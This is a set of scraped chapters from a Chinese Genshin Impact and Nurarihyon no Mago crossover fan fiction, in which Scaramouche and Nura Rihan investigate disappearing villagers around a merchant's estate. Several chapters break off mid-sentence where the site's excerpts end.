在门房胡思乱想之间,来招待客人领路的侍女匆匆而来。在侍女带着两位客人前方客房时,那位年轻的客人猛然半侧过头,正与偷偷看着他们的门房视线对上,在黑夜中肤色苍白,面容精致的少年,唇线扯动,露出了一个满怀恶意地笑。 ……!那绝非什么修验者! …… 奴良鲤伴略显无奈地半揽过对方以隔绝身后惊恐的视线。 “已是深夜了,放他好好休息吧。” “哈哈,想评估他人,也得承受相地的注视啊。”散兵心情颇好,只是轻轻挣开了对方的动作,好在西川家富庶,走廊修得宽敞豪奢,两人松松散散的并排行走又如此大闹也不影响。 或许是门房刚刚的表情取悦了他,连抱怨时的声音也显得愉快而亲昵:“再说了,现在是深夜,到底是拜谁所赐啊。” 两位深夜到访的失礼之人正是奴良鲤伴和散兵。 至于为什么这个时间才到,还得从下午说起。茶室的一番交流后,奴良鲤伴突然有了一些思路,尝试着把明镜止水仅覆盖在红线上,虽然不能帮助它免除伤害,但总是少了几分被抓住弱点的可能。 想法有了之后,没过多久奴良鲤伴就成功实现了,但也因此,他们理所应当的错过了最后的时间。奴良鲤伴本打算干脆再留一夜,晚上带着散兵去妖怪的店逛逛,以尽地主之谊。但没想到翻开请柬时却发现末尾还有一句注之前被忽略过去了,大意是希望宾客提前一周到达,无法,两人只能匆匆出行。 结果就是,本来还能堪堪赶到,这下直接变成了深夜来客。 走在前面侍女眼观鼻,鼻观心只专心领路,带领着两人在一间房前停下,行了一礼歉意道:“非常抱歉,有几位客人带来了超出老爷预料的家眷,只剩下这一间房了,请两位客人见谅。” “无妨。”奴良鲤伴跟着侍女进入屋里,在侍女点燃烛火时,他问道,“不知道所有客人都来齐了吗?” “还有一位先生未到。” “啊,那看来的确是意料之外的数量啊。”随口说了一句,他才转到自己真正想问的事情上,“刚刚听说,最近不太平?” “啊……”侍女短暂地沉吟了一下,“不过是一些乡野杂谈,让客人见笑了。在野外行走总是难免遇到些许意外,近日恰逢老爷生辰,生面孔多了,村里便有了一些风言风语。” “不过附近也并无什么独特风光,并不值得特意出门赏景,即使是那些风言风语,也决计没有涉及到西川宅的,您大可安心。” “如此,那我便放心了。不知道明日何时方便见见西川先生?错过了请柬上的时间,也该当面向主人家致歉才是。” “客人舟车劳顿,好好歇息便可。老爷筹备寿宴繁忙,过几日会与各位来客一起会面。” 她说完见奴良鲤伴没有更多吩咐,行了一礼便关上门退下了。 “你这家伙,装模作样起来倒是有一套嘛。”散兵听着脚步声远去,坐在布团上,他瞄了一眼矮桌,借着明亮的烛火,一层薄灰清晰可见,“这看起来也不像是专心筹备的模样,还是说能力过于平庸,费心劳力也只有这种程度?” 西川宅在的村子并不大,这栋宅子就是这里唯一称得上奢华的建筑,也就是说,这里并没有其他适合安置宾客的地方,而还有一位客人未至,准备的客房就已经满员了,接下来不管是与其他宾客协调,亦或者是其他方法,总归是失了面子。 刚刚一直是奴良鲤伴和侍女交流,他注意到了更多,他坐在散兵身边,摸了摸下巴,“那位姑娘脸上的疲惫倒也不似作伪。” “也别说我啊,你明明对老爹的时候也很乖巧啊。”奴良鲤伴的声音染上许些戏谑。 “等你到了那个年龄,我也可以对你‘乖巧’点。”散兵凉凉的回应,“啊,抱歉,我得纠正,如果真到了那个时候,我们还被绑在一起,我恐怕也很难对你好言相向。怎么样,要我为你的无能提前道歉吗?” “看来我是等不到了。”奴良鲤伴耸了耸肩,“她的话颇有意思啊……” “啊,你是说附近有什么事情发生么。”散兵并不怎么放在心上,对人类会造成威胁的事物并不代表着对他 8. 垂钓 《[原神+滑头鬼]风之归处》全本免费阅读 屋子里名叫照姬的贵女背对着窗户而坐,柔顺的黑发披在繁厚的衣服上,给两人留下了一个仪态万方的背影。唯一美中不足的是鸦黑的发丝自根部染上了雪白,如覆雪一般的色彩已染到了耳下。 她看起来有些脆弱,虚着身子,面露焦急的侍女扶着她,成为了她此刻唯一的依靠。 “我没事了。” 照姬开口,声音却令人忍不住地失望,这样美丽的背影,主人的声音却显得沙哑低沉,不如理想中的清脆悦耳,反而透露着一股暮气沉沉。 散兵侧目去看身边人,却发现黑发的妖怪一双金眸炯炯有神地盯着照姬的身影,循着他的视线望过去,除了少女的身影并没有其他的异样。 两人就在窗口趴了一会儿,可惜这位姬君似乎完全没有打算入睡的想法,相反让侍女取过了一本书,倚着矮桌翻阅起来。 散兵扯了扯红线,指了指归路,奴良鲤伴点了点头,两人一同回到了客房。 这一路上奴良鲤伴都陷入了沉思,显得有些心不在焉,不过得益于明镜止水的效果,只要不撞上巡视的仆人,倒也有如此悠闲的资本。 “你怎么如此忧虑。”散兵心下好奇,但他并不习惯直言相问,语调疏懒得用其他话语遮掩了自己意图,“难道你对着那位美丽的姬君背影便一见钟情了?虽然还没见过其他人,但你的竞争力怎么也不会输给其他人类吧,大可不必担忧。” “头发。”奴良鲤伴似乎洞悉了的想法,没有搭腔,伸手大致比了比,“白发多了这么长。” 他坐在被褥上,显得神采奕奕,毫无困意,“从眼角到耳垂,我本来还以为那药是为了治愈她的白发,毕竟人言可畏,这种异常对于未出嫁的姬君可不是什么好事儿。” “但想来也是,如果是治愈的药物,也应该是根部开始变黑,最不济也是稀稀疏疏掺杂着,怎么会这么整齐。” “既然这么好奇,你明天去当面试探一下不就可以了。” 奴良鲤伴睁开了习惯闭着的眼,讶异道:“你们那边男子也可以直接拜见姬君么?” “喔?”太过相似的环境让他忘了这里并非稻妻,散兵这时也想起江户短暂的时间里似乎并没有见过太多富贵之家的女性,连在外招揽生意的店主也只是一些小店的。眼眸微动,他的唇畔漾起几分戏谑,“你的幻术不是正用在这时候么,那个女人不是提过么,还有一户客人未至。” “我想西川小姐一定不会拒绝一位适龄同伴的见面邀约。” “虽然是个好主意。”奴良鲤伴的金眸也染上笑意,意味深长道,“可惜明镜止水只有隐匿身形的能力,倘若要冒充客人的话……” 他一脸无辜地比了比身高差距,又用手指点了点下巴,做出思考的模样,“诶呀……我们扮成中途遇难的父女倒是不成问题。” “哈?”散兵双眸圆睁,复又轻笑一声,眼眸危险地眯起,声音上却故作温柔亲昵,“只要你愿意把交涉的重任交给我,我又怎么忍心辜负你的信任呢。” 奴良鲤伴心知一切都得适度,逆着毛撸完了总得顺回去:“我对你自然是信任的。但我们来也只是为了赴宴,没必要让你牺牲这么多。” “也许那位姬君真的只是生了什么病呢。” “你不是对那些不太平的事情感兴趣的要命,我又怎么忍心让你失望。”散兵轻哼一声钻进被子里,又将其拢了拢,虽然睡觉不是必需的,但他并不抗拒令自己舒服些。 说来,这也是被召唤过来以来第一次在室内过夜。 “所以我打算明天去周边走走。”奴良鲤伴也掀开被子,“闲不住的宾客在周边逛逛也没什么奇怪的吧。” “怎么样,你喜欢吃鱼吗?” “怎么。”散兵注视着奴良鲤伴,眼眸微动,唇角上翘,下颌微抬,“如果我说喜欢,你就要同类相残吗——” 他刻意放柔了声音,便自然带上了几分缱绻:“鲤伴。” 尽管知道这不过是为了提醒自己和鲤鱼的关系,但奴良鲤伴还是难以避免地因那份在烛光下显得似水柔情的眼眸而微微失神。 ……这绝对是只有神明才能创造出的好颜色吧。 他忍不住想到。 —— 一觉醒来,在侍女的服侍下洗漱过后,奴良鲤伴便借了渔具带着散兵离开了西川宅。 “她看你的表情,简直就像是看赶着去送死的蠢货。” 几乎是一踏出大门,散兵就忍不住嘲弄道:“明明昨天还说附近无事发生——可惜,她送走的才是最危险的老虎。” “不是老虎,是鲤鱼。”奴良鲤伴耸了耸肩纠正道。 “我倒是不知道奴良先生什么时候改变了种族。” “也许是昨晚吧。”奴良鲤伴侧首看向散兵,笑着眨了一下睁着的眼睛,“怎么不叫我的名字了。” “呵,或许是不忍心见到同类相残吧。” 河流是一个村落至关重要的命脉,自然不会太远,有一招没一招的打趣着,很快一处合适垂钓的地点就出现在眼前。 这是一座小桥,他们来时的方向是下游,是以这是第一次来这里。 奴良鲤伴拎着渔具上桥,站在桥中央借着高度眺望河岸,看到远方土路上的状况,挑了挑眉,刚刚放下的鱼竿又重新收回。 站在他身边的散兵自然也同样看到了那辆翻倒的车厢,而拉车的牲畜和他们的主人同样不见踪影。不用他开口,两人便一起朝着那边走去。 “看来那位迟迟未到的客人找到了。”散兵一边说着,一边凑近观察着倒下的车厢,“除非连头脑简单的野兽也学会了使用武器,否则我们看来已经目睹了一场同类相残的现场。” “但是有这种力量,可不是一般人类应该有的。” 奴良鲤伴伸出手感受了一下车辕上明显是刀砍出的缺口,这一刀直接将这根结实的木制车辕砍了个半穿,而且缺口在内侧——也就是说,这是直接砍断了另一侧的车辕,而没有收住刀势留下的痕迹。 “刀的质量还算不错。”他感受着裂口说道,“起码不是什么农具一样的刀。” “喔?滑头鬼还有这样的种族天赋?”散兵也凑过去摸了摸,确实什么也没感受出来。 “只是练刀久了?大概吧。” 散兵不置可否,他用刀的时间也不短*,连如何铸造一柄刀都粗通一二,可没察觉这些信息的本事。 “虽然力气很大,但是看起来完全就是凭借着一腔蛮力在用刀啊。”奴良鲤伴可惜地叹了口气,不知道是为那把可能价格高昂 9. 妖怪? 《[原神+滑头鬼]风之归处》全本免费阅读 “你一开始就是这么计划的吗?” 散兵坐在矮桌边问道。 不知道是运气不错,还是这里水美鱼肥,在中午之前,奴良鲤伴倒真的收获颇丰,并且以一部分收获为报酬,去村落里寻了一户人家帮忙烹饪。 有了交集,自然也就更容易攀谈得多,更别说还是在进餐这种较为放松时候。 “一开始只是为了找个借口出门。”奴良鲤伴看着灶台方向升起的炊烟说道,“后面就觉得出来吃鱼也不错吧,你也不会喜欢被人打扰吧?” 提前邀请了宾客前往,而所在的村落是除了交通便捷以外没有任何优势的地方,仆从们又在言语间或多或少流露出外面不安全的意思,只能在主人宅邸活动的宾客,你来我往的社交大概就是唯一的休闲娱乐了吧。 当然他们这种反而被激起了好奇心的除外。 伴随着传来的香气,老妇人将煮好的鱼端上了桌,与之一起被端过来的还有一份片好的鱼片,和一碟作为蘸料的酱油。 “您也一起用吧。”奴良鲤伴真诚地邀请道。 脸上流露出一些惊讶的老妇人点了点头,为自己也上了一份碗筷,“我还以为你们这些年轻人,会不喜欢和老婆子一起呢。” “啊,”或许是滑头鬼的种族特性,奴良鲤伴好像有一种能轻松融合任何环境而不显得违和的天赋,在西川宅他表现得像是家境丰厚,教养颇严的贵公子,在这种民舍里他又好像只是旅经此地的爽朗游人,“一个人吃饭的话,未免也过太寂寞了,既然我们有机会能在一张桌子上吃饭,那为什么要拒绝这份缘分呢。” “说的也是。”老妇人笑了起来,“如果我的儿子也能有你这样的想法,我也就不用老担心他了。” “哦?他不在村里么,我看这附近的田地不少啊。村子的位置也不错,我记得许多商人都会途径这里吧。” 这也是世代行商的西川家会在这个小村子定居的原因,他们家祖上便是依靠行商发家的,如今分支四散在附近的大小城镇里经营店铺,只有主宅还留在这里。不过大多时间这栋宅子更多的时间也是纪念意义,这两年西川喜一年迈,才带着女儿在这里常住。 “他在‘小江户’给西川老爷看店。”老妇人提起来这个,笑得眼睛眯成了一条缝,嗔怪道,“那个小子啊,总说等他学成了,便带着我去大城市享受。还得感谢西川老爷给了我们这一个机会。” “西川老爷?”散兵夹了一片鱼片,漫不经心地搭了个桥。 “你来自外地不知道,这是我们这一片儿很有名的商人。”少年这么配合,让奴良鲤伴有些意外,但是不影响他意会的跟上,“因为西川家也算是贵族,我在佐仓就听说有人应邀要来参加什么宴席。” “应当是西川老爷要过寿了吧。”老妇人回忆道,“自从西川老爷搬回来了,每年这个时候左右都会有人给我们发些寿糖。是了,是了,应当就是这个时候。难怪前几日就看到好多辆马车来这儿。” “前几日啊……”散兵挑眉看向了对面的大妖怪,双眸含笑,声音轻柔优雅,“看来贵人们都很在意是否自己是最迟到达的呢。” 紫水晶一般的眼眸里闪动着戏谑的光,如丝绸一般柔滑的声音令人忍不住忽略其中隐藏的尖刺,被看透而笼罩的低气压毫无疑问已经从少年身上消散了。奴良鲤伴也只能露出一个无奈的笑,之所以会迟到,怎么算也该怪老爹吧……唔,也许当时在外面不急着回来,多拖几天也不错。 “即使不是贵人,也不会想迟到吧。更别说……”老妇人自然不懂散兵在暗指两人半夜登门的事情,但和年轻人交流让她已很是欢喜,不免想多说些,“他们都在传这应该是要为西川小姐选夫婿了,谁会在未来妻子的面前迟到呢。” “哦?这种事情应该不会告诉我们这些人吧。”散兵做出一副感兴趣的样子。 “是啊。但是这从一年前就开始筹备了,大家都这么说。”老妇人提及此,脸上透露出喜意,“所以从村里招了好些人 10. 阴阳师? 《[原神+滑头鬼]风之归处》全本免费阅读 “你怎么看。”散兵瞄了一眼从出来后就一脸沉思的奴良鲤伴,“是你的同类所为吗?” “嗯?”奴良鲤伴回神,率先反驳,“我的同类也太多了吧!” “不是没有可能。”奴良鲤伴正色道,“虽然一般那些蔑视规则,把人类当食物的妖怪更青睐的是女子,或者是阴阳师之类灵力充沛的男子,但也许这是一个口味独特的家伙吧。” “不过怎么说还是去现场看看吧,如果是妖怪所为的话,和人类作恶留下的痕迹往往不同。” “我还以为你不肯接受现实,思考了一路怎么为同类开脱呢。” “你忘了吗。”奴良鲤伴猛地脚尖点地,向前跳出数步,左右靴子交替重重地踏在地面上,在土路上留下平行的两条印记。黑发的半妖在前方侧过头,燃烧着坚定信念的金眸比天上的太阳还要耀眼,“我是脚踏在两岸的半妖啊。” 他笑起来,“触犯规则的家伙,不管是人还是妖都不可以喔?” “……”散兵不由停下脚步,短暂的停顿之后压了压帽檐,遮住了午后过于明媚的阳光,低声嘟囔,“喜欢耍帅的家伙。” …… 老妇人提供的地址位于村子的边缘,这是最后一个失踪的年轻人,就在几天前。 “明明次郎那孩子,明明已经离开很久了啊,不过是回家了一趟,怎么会……”老妇人语言悲痛。 根据她的说法这种事情是从近两年前开始的,起初并无人在意,虽然是世代居住在这样的村子,但野外的危险对人类一视同仁,或是失神之下失足,或是遭遇了什么猛兽,都有可能轻易地带走一条性命。那时青年失踪的频率并不高,村里也只是在感叹最近村子的年轻人运气不佳。 人们终于发现异样的时候,那妖怪似乎也找到了村落的所在,逐渐恶化到了即使是在自己的家里也会失踪的地步。在惶恐中,能离开的年轻人已经都离开了。至于那些年老的人,似乎暂时是安全的,大多数人都不愿意离开这片赖以为生的土地。 “你这份鱼的价格未免也太昂贵了,我这一趟可真是血本无归啊。”散兵望着第三次见到的高大松树,忍不住凉凉地感叹道。 西川宅位于村落正中央,这棵探出头的,代表着不屈不挠的松树,在这一刻代表的大概就是他们两人吧。 他们早晨从西川宅出门,到村外垂钓,奴良鲤伴为了多观察一下村子,又特意逛了一大圈,在村另一头选中了独自居住的老妇人为目标,这来来往往,怕是这松树看他们都要看腻了。 “所以你喜欢吃什么?等回到江户我好补上差价。”奴良鲤伴提前堵住了他的话,“不用靠进食为生也不代表不能享受美味吧!” “这个问题我不是回答过了么,”散兵嘲弄似的应道,“我可不是某些擅长花言巧语的妖怪。” “苦味儿的东西想要做成美食可不容易啊。”奴良鲤伴认真地思索起来,“好像多半都和药膳搭上些关系……倒也健康。” 两人一边闲聊一边横穿过了村子,根据老妇人的描述,他们很快就找到了那栋房子——毕竟最明显的特点就是荒废。虽然那个叫次郎的失踪者是为了回家才回到村子的,但是他的家人已经过世很久了,回来不过是为了拿些遗忘的东西。 是以不同于旁边充满了生活气息的房子,这栋在村子边缘的房屋,已经永远的停滞在了主人失踪的那一刻了。 如果不是有毫无自觉地闯入者的话—— 奴良鲤伴足间一个点地,身形一跃便翻过了竹篱,散兵也随着他的动作轻松飞过。 门上拴着的锁被两位非人类轻松地破坏,推开屋门,一阵尘埃伴随着阳光在空中飞舞。 “如果真的是妖怪所为的话,”奴良鲤伴眯起眼睛打量着屋子,最先映入眼帘的便是在地上放着的,还没收拾的行李,“这是完全被盯上了啊。” “那这个妖怪还挺勤快,除非在村口守着,否则怎么能这么快得到消息。”散兵也打量着屋内,可惜正如奴良鲤伴所说,这个倒霉的青年一定是被妖怪盯上了,除了地上的行李灰尘少一些,为数不多的家具上都覆盖着厚厚的灰尘,一看便是很久没有人居住的样子。 尽管一眼看去就知道不会有什么线索,但是奴良鲤伴还是仔细地检查了一遍屋子内部。被迫跟着一起接受灰尘洗礼的人偶心底有种用风把灰尘全裹挟向大妖怪的冲动。 “果然还是在外面啊。”奴良鲤伴打了个喷嚏,从屋子里退了出来,一边关门一边喃喃道。 散兵只觉得刚刚那个念头又蠢蠢欲动起来——好在他没忘了这样做了,离不开他的自己也必定会沾染一身灰尘。 “……既然知道里面什么也没有,你还要先去里面?” “哈哈,”似乎察觉到了散兵态度的转变,奴良鲤伴干笑了两声,“这个嘛,因为几率很小,所以才要彻底排查掉啊。” “不然的话,最后再绕回来不是更难过嘛。” “那你又在院子里感受到了什么,莫非是察觉到了同类的踪迹?”他和奴良鲤伴的做事习惯不同,既然抓到了踪迹,便该直取要害。不过此时以奴良鲤伴为主,对此的解释他也能接受。 奴良鲤伴“啧”了一声,“这次还真是。” 散兵沉默,他只是随口一说而已,毕竟,“刚刚留在院子里的时间不过转瞬,总不会那妖怪把踪迹挂在门扉上了?” 这次换奴良鲤伴沉默了,他表情复杂,“还真是。” 这也是他一开始就直奔屋子的原因,院子内的妖气大到想忽略都很难,在老妇人和其他人的渲染下,他第一反应就觉得这应该只是误导人的障眼法,为的就是让人先入为主避开屋子。 “……” 当奴良鲤伴拉着少年来到了他察觉到的妖气最浓厚的地方,两人在一片沉默中伫立。 “野狗?”虽然这个词语在他的过往中并不是没有出现过,但散兵这一次只是单纯的陈述事实。 在一个狗洞前。 “……”奴良鲤伴组织了一下语言,“实际上,这是对狗的偏见。” “呵,比如?” “比如我们也得追着它前行。”奴良鲤伴跳开闪过风刃,为自己的幽默后悔了一个呼吸的时间,“别急别急,我的意思是翻过去就行。” …… 追踪着妖气,奴良鲤伴在前面带路。随着离开村子,逐渐进入了植物的领地,肆意舒展着的植物们将天空们遮盖了大半,只有寥寥碎片一样的光斑能投射在地面上。地面上则被草叶覆盖,走起来软乎乎的,肆意生长的枝干阻挡着来人的道路,但并不影响妖怪的的步伐坚定无比,从未有半分犹豫。 “你不是说自己不擅长追踪,果然,比起来人类,你还是更偏爱妖怪。”紧跟着他的少年凉凉地说道,那些枝干更阻拦不了他,只要是拦路的树枝,便一道风刃过去,从某些方面来说还要更方便些。 “没办法,这妖气完全没有遮掩的意思,简直就像是在鼓励我们过去啊。”奴良鲤伴警戒心骤起,但并不影响为自己辩解,“我们这怎么看都是要找他的麻烦吧!就算是站在偏颇的角度,也应该是偏爱人类吧。” “唔……”散兵摩挲着下巴,意识到这里已经并非村落,干脆懒洋洋地浮在空中,“所以说,你这是在承认你果然更爱人类了?” “在这儿等着我啊。”奴良鲤伴失笑。 “在这儿!” 轻松的氛围不过片刻,他神色忽然一凝,拔刀出鞘,朝着地面上某处斩出。强烈的妖力穿透了土地,伴随着泥土迸溅,一声痛哼夹在其中,并没有被两人错过。 地里的东西刚刚想要露头,紧随而至的便是与和大妖怪玩闹时完全不同的风刃。 即使感受不到妖气,在这种不顾隐藏自身踪迹的疯狂逃窜下,散兵也能捕捉 11. 丝绸 《[原神+滑头鬼]风之归处》全本免费阅读 “阴阳师?”奴良鲤伴缓慢地复述确认道,“你的意思是,有阴阳师找你来掳走这里的人?” 孩童一样的兔妖点了点头,又猛地甩了甩——如果他还是兔子模样,此刻长长的耳朵一定已经是上下纷飞的样子了——结结巴巴地说道:“是……不是不是,他委托我帮忙挖路,给了我报酬的!我没做坏事!” 挖路?兔妖的表述不清不楚的,但是奴良鲤伴还是明白了他的意思,“有人委托你在村子的下面挖地道?” 眼睛红红的孩子点了点头。 本来低头沉思的散兵听到这一句忽然抬起头,正巧对上了奴良鲤伴望过来的视线,看到对方同样准备想说些什么样的样子,他知道,两人恐怕想到一样的地方去了。 ——也并不奇怪,世界上哪儿有那么多巧合,是正常人都会第一时间这样想吧。 “带我们去看看。”奴良鲤伴吩咐道。 兔妖可怜巴巴地看着他,并未拒绝——妖怪的世界比人类简单太多,弱者服从强者,这本就是理所应当的事情——转过身化为了原型,硕大的兔子比起那些身材迷你的同族,丧失了绝大部分的可爱,但也并非一无是处:他动作迅速,几个眨眼间就在塌陷的地面上刨开了一个大洞。简单的辨别了一下方向,又是几爪子下去,便连上了之前挖开的通路。 兔妖转过头,正看到揍了他的少年走近那个气势逼人的大妖怪,注意到了他的视线,少年眉头一皱,眼中闪过一丝冷光,下颔稍扬,属于少年人的声音本应清亮,在主人的刻意下却流露出几分阴沉恶意,“怎么,被人利用的小东西连本职工作都做不好了吗?还是说你指望我们像一只兔子一样钻进去?没有价值的东西,下场是什么应该也很清楚吧。” 兔妖不自觉地哆嗦了一下,为了自己的安全辩解道:“到了前面就宽了……你们先在上面,到了地方我喊你们。” “我不会跑的!”他又用颤颤巍巍的声音补充了一句。 “哎呀……也别冲着他发脾气啊。”奴良鲤伴恢复了往常好相处的模样,比起大妖更像是游览至此的贵族公子,将手搭在少年的肩上,冲着兔妖安抚性地笑了笑,“不过你的确卷进了一些事情呢,要好好证明自己啊。” “在同情被迁怒的对象前,不如先考虑一下自己如何?”散兵没否认自己的情感,他的右手抓住了肩膀上奴良鲤伴的右手,顺着上滑,手指不出意料地摸到了一道细细的伤口,上面还有些许湿润。或许是因为凑得近了,原本只是疑心的血腥气终于清晰地被捕获。但他的心情没有半分好转。 看着埋头忙于带路再不敢回头的兔妖,散兵嘲弄道:“头脑简单的家伙尚且还知道辩解几句,看来这里有些半妖连他都不如。” 因为一时见到了大妖怪的另一面,他短暂忽略了抢先一步上前时手腕上的扯动感,后来几乎将这件事遗忘,直到弱到难以察觉的血腥气勾起了他的疑心。那只妖怪倒是皮糙肉厚,虽然看起来被打得迷迷糊糊,但切切实实躲过了刀芒又躲过了风刃这种容易留下伤口的关键伤害。 他自己身上也没有伤口,那么对象显而易见了。 不可否认,大妖怪的心思要比他想得细腻很多,特意伸出的手也是收刀入鞘后腾出的右手,被红线绑缚的手。所以这情绪与其说是对奴良鲤伴,不如说也是对他自己。 “虽然的确一开始就想到了这种可能。”奴良鲤伴好像知道他在想什么,无奈地笑了起来,“但正如对你来说这不算什么,这对我来说也是一样。” 少年感受到手指下的伤口飞速的愈合,他侧过眼眸,半妖如有所察地冲他眨了一下眼睛,“有时候半妖也会继承到一些了不得的能力嘛。” 奴良鲤伴看着对方隐隐上翘的唇角,心知大约是哄好了。他也不是喜欢放任着伤口,只是刚刚注意力全然都在兔妖说出的话身上——他就知道老爹不会莫名其妙把自己扔出来——这种对他来说不重要的小伤优先度自然就被押后了。 没想到他的感知力这么敏锐,这种能力可不是那么容易——嘶。 感受着手下一瞬间短暂的僵硬,散兵收回手的同时如掸灰一般打掉迟迟不收回的手,带着几分报复性地恶趣味低声笑道:“呵,谁许你一副自以为看透我的样子啊……” 奴良鲤伴拉开衣袖,看着上面被圆润指甲留下的痕迹,忍不住失笑,的确很好懂啊……这总不能怪自己吧? …… “快到村子的距离了吧。” 在心里估计着距离,散兵闷闷地说道。在黑暗中人类难免会感受局促不安,但他并非人类,所以感到别扭的源头是前方牵着他手的人。 在兔妖找到了位置,扩开了洞口后,他们便步入了无光的地道中。地道内一片漆黑,宽度在兔妖的辛勤下也只能容忍单人行走。尽管兔妖实力弱小,但是以免万一,奴良鲤伴还是主动提出站在了前面,而给出的理由也实在无懈可击:作为常在夜晚行动的妖怪,滑头鬼拥有能在夜间视物的能力。 这种陷入眼盲一样只能依赖他人的感受糟糕透了。散兵想到。 “稍等,停一下。”奴良鲤伴停下的同时不忘提醒身后的人。 散兵感受到他蹲下了身子,但是对方没松开手,反而拉了一下示意道:“是丝绸。” 在指尖摩挲了一下,尽管只是被刮下来的几缕,但是也能感受出其柔软光滑,奴良鲤伴并不意外,不管是阴阳师,还是出资请阴阳师出面的人,这两类人都是不缺钱的类型。 “你经常走这条路吗。” 奴良鲤伴沉声问道。 “我都好久没来过了!”兔妖连忙解释,“那个阴阳师该给我的报酬都到了约定的时间了还没影儿,我才不继续做呢~” 他看起来还有些气愤,“还好我没挖完!人类果然都是不可信的!” “这是多久之前的事情?” “冬天以前?”兔妖不确定,迟疑道,“总之我睡醒了就再也联系 12. 交谈 《[原神+滑头鬼]风之归处》全本免费阅读 奴良鲤伴给兔妖留下了自己的住址——散兵不是很懂他们这些妖怪是怎么寻找到彼此的,或许就像是动物闻嗅气味一样吧——两人便回了西川宅。 “您回来了!” 昨天为他们安排客房的侍女正在站在门口等待,早上奴良鲤伴去要渔具时,也是这位侍女负责的,想来她应该是被分配给二人了。 “你在等我们吗?” “府里有锁门的习惯,怕您两位回来迟了不便,所以我-干脆便在这里等着两位了。” “啊,那现在时间应该正好,我们还没有错过晚餐吧?” 奴良鲤伴笑眯眯地拎着空鱼篓顺手交给她,“虽然丰收的味道不错,但也应该留点机会尝尝主人家的招待啊。” “是,菜已经为您温着了,如果您想用餐随时可以……” 奴良鲤伴打断了她,“所有人都是如此吗?” “是的,请放心,我们的食材准备的很充足,都留有余量,如果您有什么想吃的,也可以等稍晚一些为您呈上。” 呵,看来又要自己做恶人了。散兵勾了勾唇,这女人明显就明白他们的意思,没必要的温柔只会浪费时间。 “喔?也就是说,西川先生仍不打算见任何人?”散兵的声音带着一种恶劣虚伪的温柔,嘲弄之意再明显不过了,“用这种理由把人叫过来,两位主角却都迟迟不露面,呵——” 他的唇线扯动,似笑非笑,“还是这种有着妖怪传闻的地方,听说能离开的都已经离开了……难道是特意把所有人叫到这个地方填补空缺?” 侍女看起来有些紧张,但并不显得意外,毕竟这件事情是压不下去的,他们又不能真的拦着客人们。 “实在抱歉!”她不自觉地的咬了咬唇,“是这样的,老爷已经安排好了一切,各位只要在宅子里一定是安全的!” “对女性还是要温柔一点啊。”奴良鲤伴装若无奈地揽过少年,注视着侍女的眸子里笑意不达眼底,“不过……来客里也有不少身份高贵之人,在这种可能存在危险的地方干等,大家应该都不会安心的吧。” “不过这些也不是你能做主的,去请示一下西川先生吧。不必跟着了,我们认得路。” “是。”侍女行了一礼,留在原地目送着两人的身影消失,才朝着另一个方向走去。 —— “你就不怕打草惊蛇?” “总不能真的待到六天之后吧。”奴良鲤伴拉上门,此时天色已经见黑,赶走了侍女的坏处便是只能自己点燃蜡烛了。 好在这对于常在野外过夜的人来说并不困难。伴随着火镰的轻响,一阵“滋滋”声,橙黄色的火光便驱散了周围的黑暗。 奴良鲤伴抬起眼眸,温暖的火光照在少年白瓷一样的脸上,为其增添了几分柔色,给人一种柔软的错觉。 “怎么。”注意到大妖怪在烛光中熠熠生辉却明显在走神的眼眸,散兵眼眸一动,蓦然前探身子,稍稍歪头,伸出手五指张开做爪状,身后的影子随着他的动作显得张牙舞爪起来,猝不及防下倒是的确有几分压迫感,用带着笑意压低了的声音威胁道,“小心今晚妖怪就要将耍小心思的人抓走了喔?” 精致不似凡人的脸庞突然在眼前放大,奴良鲤伴眨了眨眼:确实好像瓷器啊…… 他伸出手,手指挤进少年的指间,紧紧扣住另一只手,眼眸笑得弯起,“那不是更好吗,弥弥切丸是退魔刀,那拿着这把刀的我也姑且能算是半个除妖师吧?” “这样的自投罗网岂不乐哉。” “嘁,没劲。”散兵撇了撇嘴,虽然本来也不觉得大妖怪会被吓到就是了,“如果真的是西川家的人,总不至于那么蠢。” 从在奴良宅时的谈话就能知道,西川并不知道自己的这位老友的真实身份,对于普通人来说,他们今天的举动也还算合理。至于不满,肯定不止他们一组客人,也许早就有其他人表达过不满了也说不定。 虽然不知道那个七日之期有没有什么特殊含义,但是显然对于这里的主人来说,多做额外的 13. 字条 《[原神+滑头鬼]风之归处》全本免费阅读 虽然红绳给予的距离还算留有一些聊胜于无的隐私,但为宾客准备被褥的侍女显然并不清楚这最大距离,又或许是为了方便来客夜谈,放置得颇近。 吹灭蜡烛后只有月光透过窗子带来朦胧的光亮,一片宁静中,以两人的关系面对面便显得太过熟络了,而相背而眠…… 散兵不耐烦的坐起身,注视着在弱光环境下好像猫眼一样莹莹发光、毫无睡意地金眸,危险地眯起眸子。 不需要睡眠是一回事,决定了睡眠又被从身后的视线干扰得无法入睡是另一回事。 越烦躁反而越显得平静,他的声音温柔似水,在寂静的夜中却无端显得诡异,“如果没有记错,我应该告诉过你,我并非人类,自然也没有人类那些可怜的弱点——” 诶呀,太过了。猫一样幽幽发亮的眼眸眨了眨,在说出已经备好的说辞前,奴良鲤伴思绪电转:对人的视线很敏感嘛……也并非距离的问题,昨天和在野外的时候并没有这样的反应,也就是说是单纯视线的问题。就算是常在野外生存,应该也不至于有这样的习惯,所以说是和智慧生物的厮杀? “我只是在想,明天如果真的有什么,恐怕你要承担颇多了呢。” “喔?”少年疲于像以往一样玩弄口舌,只是从喉间溢出了低沉的单音。 完全把“如果没有一个合理的解释,你就在这里去死吧”写在脸上了啊……一如既往地好懂。在夜间也将少年脸上表情看得一清二楚地奴良鲤伴心里无端得意,话语却是诚恳:“啊,因为如果要从我们中选一个的话,怎么看都是你更合适一些。不管是直接下手,还是作为要挟,带着刀的我从外表上都要棘手得多。这点倒是我拖累了你呢。” 不过当然可能的麻烦也不止这些……少年的颜色过好,又正是讨那些人风流之人喜欢的年纪。碍于礼节应当没什么问题,只是若是有人口无遮拦…… 那恐怕麻烦的就是自己了吧。奴良鲤伴幽幽叹了一口气,他也不喜欢这样的场合啊,为什么老爹会把自己丢过来。 “你还有什么要解释的吗。”散兵狐疑地看着他,难道是半夜喜欢多愁善感的类型?联系到对方不经意间或多或少流露的不似妖怪的贵族气息,倒也不算意外。 “唔……有件事情,你能答应我吗?” “……说出来让我听听。” “明天如果有什么人主动搭话,一切都交给我。” “啊,那真是求之不得。”散兵无所谓道,他对那些虚与委蛇的事情并无兴趣,恐怕也只有[公鸡]那样的家伙*才会热衷于此了,“现在,你可以安心睡觉了吧,当然,如果你睡不着我也不介意助你一臂之力。” “那就都交给我吧。晚安。” “……呵。”少年似乎轻轻笑了一声,“晚安。” 